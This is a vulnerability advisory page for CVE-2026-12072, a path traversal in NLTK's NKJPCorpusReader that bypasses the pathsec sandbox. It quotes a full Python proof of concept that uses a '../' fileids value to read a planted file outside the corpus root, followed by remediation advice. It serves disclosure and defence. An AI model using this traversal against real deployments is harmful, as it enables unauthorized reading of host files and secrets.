Skip to main content

NLTK NKJPCorpusReader CVE-2026-12072

HIGH
Path Traversal (CWE-22)
2026-07-31 https://github.com/nltk/nltk GHSA-6hm5-jgcp-p838
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
7.5 HIGH

Targets web/multi-tenant deployments per SECURITY.md; once user input reaches fileids, traversal is trivially unauthenticated with no complexity beyond controlling that parameter.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 31, 2026 - 17:18 vuln.today
Analysis Generated
Jul 31, 2026 - 17:18 vuln.today
CVE Published
Jul 31, 2026 - 16:50 github-advisory
HIGH 7.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 7 pypi packages depend on nltk (6 direct, 1 indirect)

Ecosystem-wide dependent count for version 3.10.0.

DescriptionGitHub Advisory

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox - including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

Details

SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no

normalization or containment check:

python
     def add_root(self, fileid):
# lines 96-102
         if self.root in fileid:
             return fileid
# attacker-controlled value returned unchanged
         return self.root + fileid
# plain concat, '..' not stripped
  • The header view appends a fixed basename and passes the string straight into

the corpus view (which opens it with the builtin open()):

python
     class NKJPCorpus_Header_View(XMLCorpusView):
# line 181
         def __init__(self, filename, **kwargs):
             XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)
# line 189
  • The other modes reach the filesystem through XML_Tool, which uses a raw

os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():

python
     class XML_Tool:
# line 243
         def __init__(self, root, filename):
             self.read_file = os.path.join(root, filename)
# line 251
         def build_preprocessed_file(self):
             fr = open(self.read_file)
# line 256 - pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening - NKJPCorpusReader simply does not go through it.

PoC

Tested against nltk==3.9.4 (latest PyPI release) and current develop.

   pip install "nltk==3.9.4"
   python3 poc.py

poc.py:

python
   import builtins, os, shutil, tempfile, warnings
   warnings.simplefilter("ignore")
   import nltk, nltk.pathsec as pathsec
   from nltk.corpus.reader.nkjp import NKJPCorpusReader

   print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
   root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
   os.makedirs(os.path.join(root, "sample"), exist_ok=True)
   open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
   secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
   open(os.path.join(secret_dir, "header.xml"), "w").write(
   "<teiHeader><fileDesc><sourceDesc><bibl>"
   "<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
       "</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
   pathsec.ENFORCE = True
   print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
   opened = []; real = builtins.open
   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

   reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
   evil = root + "/../../../../../../.." + secret_dir + "/"
   try:
       result = reader.header(fileids=[evil])
   finally:
       builtins.open = real

   print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
   print("disclosed content  :", result[0]["title"])
   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

   nltk 3.9.4
   ENFORCE = True
   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF

With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

Impact

This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

AnalysisAI

Path traversal in NLTK's NKJPCorpusReader component (versions ≤ 3.9.4) allows attackers who control the fileids argument to read arbitrary files outside the configured corpus root, fully defeating the nltk.pathsec sandbox even when ENFORCE=True is active. The root cause is that add_root() builds file paths via plain string concatenation - not the hardened FileSystemPathPointer - and downstream code calls the Python builtin open() directly, bypassing the validate_path() check that NLTK's own SECURITY.md explicitly promises will block unauthorized access. A detailed public PoC is confirmed against nltk 3.9.4; no active exploitation is listed in CISA KEV at time of analysis.

Technical ContextAI

NLTK (Natural Language Toolkit, pkg:pip/nltk) is a widely used Python NLP library. The affected component, NKJPCorpusReader in nltk/corpus/reader/nkjp.py, handles National Corpus of Polish (NKJP) XML format data. NLTK implements a path-sandboxing mechanism via nltk.pathsec.validate_path(), which is invoked by FileSystemPathPointer.open() and CorpusReader.open(). The vulnerability (CWE-22: Path Traversal) arises because NKJPCorpusReader entirely bypasses these protected access paths: add_root() at lines 96-102 performs plain string concatenation (self.root + fileid) with no normalization or containment check, and both NKJPCorpus_Header_View (line 189) and XML_Tool.build_preprocessed_file() (line 256) invoke the Python builtin open() rather than the hardened PathPointer.open(). Dot-dot sequences in attacker-controlled fileids are never stripped or rejected, meaning the ENFORCE=True sandbox - documented in SECURITY.md as the recommended mode for multi-tenant and web deployments - is completely inoperative for this reader. The same anti-pattern (direct builtin open() bypassing pathsec) is also identified in xmldocs.py, util.py, crubadan.py, lin.py, ipipan.py, and pl196x.py, representing a systemic class issue across multiple NLTK corpus readers.

RemediationAI

The primary fix is to upgrade NLTK to version 3.10.0 or later via pip install --upgrade nltk; this version is identified as the fix in the package advisory data (https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838), though teams should confirm 3.10.0 availability on PyPI before relying on it. If an immediate upgrade is not feasible, the most effective compensating control is to ensure no application code forwards attacker-controlled values to any NKJPCorpusReader method's fileids parameter - treat fileids as a trusted internal value and validate it against an explicit allowlist of known corpus document identifiers before passing it to NLTK, rejecting any input containing ../ sequences or absolute path components. A secondary defense for web deployments is to run the NLTK process under a least-privilege OS account restricted from reading sensitive paths (e.g., /etc/, application secrets directories), limiting the blast radius if traversal occurs. Setting nltk.pathsec.ENFORCE = True is explicitly NOT an effective mitigation for this vulnerability; it provides zero protection against this bypass and should not be relied upon as a control.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Package Hub 15 SP7 Fixed
openSUSE Tumbleweed Fixed
SUSE Package Hub 15 SP7 Affected

Share

CVE-2026-12072 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy